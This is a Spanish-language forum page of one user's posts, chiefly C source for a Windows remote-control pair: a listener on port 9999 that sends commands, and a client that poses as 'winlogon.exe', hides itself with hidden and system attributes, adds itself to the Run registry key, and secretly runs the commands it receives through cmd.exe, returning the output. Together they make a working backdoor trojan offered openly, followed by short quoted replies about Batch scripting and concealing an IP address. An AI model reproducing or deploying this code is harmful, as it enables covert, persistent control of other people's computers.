y si modificas el archivo host ?, eso a riesgo de que algunos av detecten como malware pero winsock algunos av tambien lo detectan como malware
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <stdio.h>
int main()
{
WSADATA wsa;
SOCKET sock;
struct sockaddr_in local;
int len=0;
int lend=0;
char Buffer[1024];
char recibido[1024];
//Inicializamos
WSAStartup(MAKEWORD(2,0),&wsa);
//Creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//defnimos dirección por defecto, ipv4 y el puerto 9999
local.sin_family = AF_INET;
local.sin_addr.s_addr = INADDR_ANY;
local.sin_port = htons(9999);
//asociamos el socket al puerto
if (bind(sock, (SOCKADDR*) &local, sizeof(local))==-1)
{
printf("error en el bind\n");
return -1;
}
//ponemos el socket a la escucha
if (listen(sock,1)==-1)
{
printf("error en el listen\n");
return -1;
}
len=sizeof(struct sockaddr);
//hay una conexión entrante y la aceptamos
sock=accept(sock,(sockaddr*)&local,&len);
printf("daryo shell\n");
int bytes_recv; // esta variable es para saber si llego algun comando
while (len!=0) //mientras estemos conectados con el otro pc
{
memset(Buffer, 0, sizeof(Buffer)); // Limpiamos el buffer.
fflush(stdin);
fflush(stdout);
//esto es para limpiar la cadena por si acaso el siguien comando no tiene respuesta ...
for (int x=0;x<1024;x++){
recibido[x]='\0';
}
//------------------------------------
// aca se envia el comando
printf("\n\n\nenviar comando>");
gets(Buffer);
len=send(sock,Buffer,strlen(Buffer),0); //recibimos los datos que envie
// aca espera la llegada del comando
do{
bytes_recv = recv(sock, recibido, sizeof(recibido), 0); // Esperamos para recibir datos...
} while(bytes_recv == 0 && bytes_recv != SOCKET_ERROR);
if(bytes_recv > 0){
printf(recibido);
}
}
return 0;
}
#include <winsock2.h> //la cabezera para usar las funciones de winsock
#include <cstdio>
#include <cstring>
#include <windows.h>
bool FileExists() {
FILE *archivo =fopen("windows.dll","r");
if (archivo){
return true;
}
pclose(archivo);
return false;
}
void instalar(char *directorio,char *direccion){
CopyFile ( direccion, directorio, true );
FILE * winlog=fopen("windows.dll","w");
pclose(winlog);
// ahora escondemos el erchivo
SetFileAttributesA (directorio, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetFileAttributesA ("windows.dll", FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
// ahora el registro
HKEY hkey;
char registro[60];
strcpy(registro,directorio);
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) registro, sizeof registro );
RegCloseKey (hkey);
}
int shell(){
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
char Buffer[1024];
char *comando;
int len;
//Inicializamos
WSAStartup(MAKEWORD(2,2),&wsa);
//resolvemos el nombre de dominio localhost, esto se resolverá a 127.0.0.1
host=gethostbyname("localhost");
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (sock==-1)
{
return -1;
}
//Definimos la dirección a conectar que hemos recibido desde el gethostbyname
//y decimos que el puerto al que deberá conectar es el 9999 con el protocolo ipv4
direc.sin_family=AF_INET;
direc.sin_port=htons(9999);
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
//Intentamos establecer la conexión
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
if (conex==-1) //si no se ha podido conectar porque no se ha encontrado el host o no
//está el puerto abierto
{
return -1;
}
while (len!=-1 && strcmp(Buffer,"salir")!=0) //mientras el socket no se haya desconectado
//y no se escriba salir
{
len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
if (len>0) //si seguimos conectados
{
Buffer[len]=0; //le ponemos el final de cadena
comando=Buffer;
char ejecutar[500]="c:\\windows\\system32\\cmd.exe /c ";
strcat(ejecutar,comando);
// ejecutar comando
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
void * leer;
void * escribir;
ZeroMemory(&sa,sizeof(&sa));
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
CreatePipe(&leer,&escribir,&sa,0);
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = escribir;
si.hStdError = escribir;
si.hStdInput = leer;
CreateProcessA(0,ejecutar,0,0,TRUE,0,0,0,&si,&pi);
Sleep(200);
CloseHandle(escribir);
char buffer[1024];
DWORD bleidos;
ReadFile(leer,buffer,1024,&bleidos,0);
send(sock,buffer,1024, 0);
// un exagerado intento de mantener el buffer vacio
memset(buffer, 0, sizeof(buffer));
memset(Buffer, 0, sizeof(Buffer));
for (int x=0;x<=500;x++){
ejecutar[x]='\0';
}
for (int x=0;x<=1024;x++){
Buffer[x]='\0';
}
fflush(stdin);
fflush(stdout);
//------------------------------------------
}
}
}
int main(int argc,char *argv[])
{
char *directorio; // directorio de la instalacion
char *direccion; // direccion actual
direccion=argv[0];
directorio=getenv("userprofile");
SetCurrentDirectory(directorio);
strcat(directorio,"\\winlogon.exe"); // nombre de el archivo
// se ubica en la carpeta de usuario
if(FileExists()){
while(true){
shell();
Sleep(15000);
}
}
else{
instalar(directorio,direccion);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
CreateProcess( NULL, // No module name (use command line)
"winlogon.exe", // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi );
}
return 0;
}
Cita de: EleKtro H@cker en 12 Diciembre 2012, 08:55 AM
Opino que lo más correcto para alguien que trabaja sobre Windows sería aprender Batch hasta un nivel medio (El uso del FOR sobre todo) simplemente para manejarse bien con Batch y salir de algún apuro en Windows, porque siempre puede surgir alguna tarea que necesite automatizar en el sistema, y con Batch es muy fácil porque Batch es FÁCIL, pero cuando ya sepan como funciona Batch, olvídenlo y empiecen a programar en otro lenguaje.
PD: Se te hecha en falta por la sección.
Un saludo!
Cita de: xman6 en 13 Junio 2012, 00:40 AM
Espero que no lo habreis hecho a cara descubierta ,guardad el mensaje que os mando con la ip ,por si las moscas;por curiosidad alguien podria mandarme la ip?.